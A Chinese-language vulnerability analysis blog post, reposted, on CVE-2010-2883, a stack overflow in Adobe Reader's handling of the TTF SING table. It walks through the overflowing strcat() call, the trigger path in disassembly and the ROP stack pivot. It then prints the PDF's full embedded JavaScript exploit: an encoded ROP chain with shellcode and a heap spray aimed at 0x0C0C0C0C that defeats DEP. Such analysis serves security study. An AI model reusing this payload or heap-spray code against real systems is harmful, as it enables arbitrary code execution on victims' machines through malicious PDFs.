CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞

  此漏洞是因strcat()复制SING表而出现的栈溢出漏洞,同时可通过PDF中可运行JS代码的特性来进行堆喷射运行shellcode,达到最终exploitation的目的。

    在分析具体漏洞之前,我建议先看看相关的PDF格式说明,以及TTF字体和相关的SING表,SING表的资料比较难找,只能找到一些图片说明。TTF字体结构是“偏移子表”-“表目录”-“X表”这种形式的,其中表目录的结构是

    SING表数据结构说明:

    了解了相应的基础知识后,我们来具体地查看漏洞代码。直接IDA定位String View到源码,

关键处,大致伪码是这样的:

此处,*(_DWORD*)sing_table_ptr获得的是SING表的tableVersionMajor+tableVersionMinor,比较SING表的version之后才进行strcat(),而(const char*)(sing_table_ptr+0x10)则是uniqueName,此处便是将SING表的uniqueName项复制到&v24处,从而导致溢出。详细的触发情况是这样的:

0803DDAB    E8 483D1300               call jmp.MSVCR80.strcat
0803DEAF    E8 2A8DFDFF               call CoolType.08016BDE
    08016C56    E8 C64E0000               call CoolType.0801BB21
        0801BB41    FF10                      call dword ptr ds:[eax]
            0808B308    FF10                      call dword ptr ds:[eax] // 触发点,eax=0x12E6D0,距离uniqueName起始处0x7B0字节

到达触发点时的运行栈布局如图所示:

4A80CB38    add ebp,794                 //ebp=0x0012E4DC(0x0012DD48+0x794)
4A80CB3E    leave                       //esp=0x0012E4E0(mov esp,ebp;pop ebp),ebp=[0x0012E4DC](0x0FEB0EEA)
4A80CB3F    ret                         //eip=[esp]=0x4A82A714       

//首先call dword ptr ds:[eax]运行到0x4A80CB38处,
//将栈向高地址移动,即移动到我们的uniqueName+0x8处
//之后再ret跳到0x4A82A714处
4A82A714       pop esp          //esp=[esp](0x0C0C0C0C)                    
4A82A715       ret              //eip=[0x0C0C0C0C]=0x4A8063A5        

//第二阶段的gadget将堆栈移动到0x0C0C0C0C处,
//使得我们能通过剩下的gadget配合堆上的参数调用目标函数               

剩下的部分就是执行堆喷射处的gadget了,我们可以在PDFStreamDumper中查看到PDF文件嵌入的JS代码


var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9d9%u6ebf%u2e0e%ud92b%u2474%u5df4%uc933%u31b1%ued83%u31fc%u147d%u7d03%uec7a%ud7db%u726a%u2823%u136a%ucdad%u135b%u86c9%ua3cb%ucb99%u48e7%uffcf%u3c7c%uf0d8%u8b35%u3e3e%ua0c6%u2103%ubb44%u8157%u7475%uc0aa%u69b2%u9047%ue56b%u05fa%ub318%uaec6%u5552%u524f%u5422%uc57e%u0f39%ue7a0%u3bee%uffe9%u06f3%u74a3%ufdc7%u5d32%ufd16%ua099%u0c97%ue5e3%uef1f%u1f96%u925c%udba0%u481f%uf824%u1b87%u249e%ucf36%uae79%ua434%ue80e%u3b58%u82c2%ub064%u44e5%u82ed%u40c1%u51b6%ud06b%u3712%u0294%ue8fd%u4830%ufc13%u1348%u0379%u29de%u03cf%u31e0%u6c7f%ubad1%ueb10%u68ee%u0355%u31a5%u8cff%ua060%ud142%u1e92%uec80%uab10%u0b78%ude08%u577d%u328e%uc80f%u357b%ue9bc%u56a9%u7a23%ub731%ufac6%uc7d0' );
var rop1 = unescape('%u0C0C%u0C0C');
while (rop1.length + 20 + 8 < 65536) 
  rop1 +=rop1;

rop2 = rop1.substring(0, (0x0c0c-0x24)/2);
rop2 += shellcode;
rop2 += rop1;
rop3 = rop2.substring(0, 65536/2);

while(rop3.length < 0x80000) 
  rop3 += rop3;

rop4 = rop3.substring(0, 0x80000 - (0x1020-0x08) / 2);
var final_shellcode = new Array();
for (i=0;i<0x1f0;i++)
  final_shellcode[i]=rop4+"s";

只是一串精准定位堆喷射的代码,具体技术目前我也不是很清楚,之后研究清楚了我会回改的。如果现在你想了解更多,可看这里

第一个栈溢出漏洞分析告一段落,理论上说也可以将剩下的gadget放在栈中,可是0x12E6D0-0x12E4DC之间0x1F4字节的空间不是很大(shellcode.len=0x220),所以索性使用堆喷射来绕过DEP并且加载运行shellcode(真正的功能性shellcode是从0x0C0C0D54处开始的)

转载于:https://my.oschina.net/u/3281747/blog/1789733

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值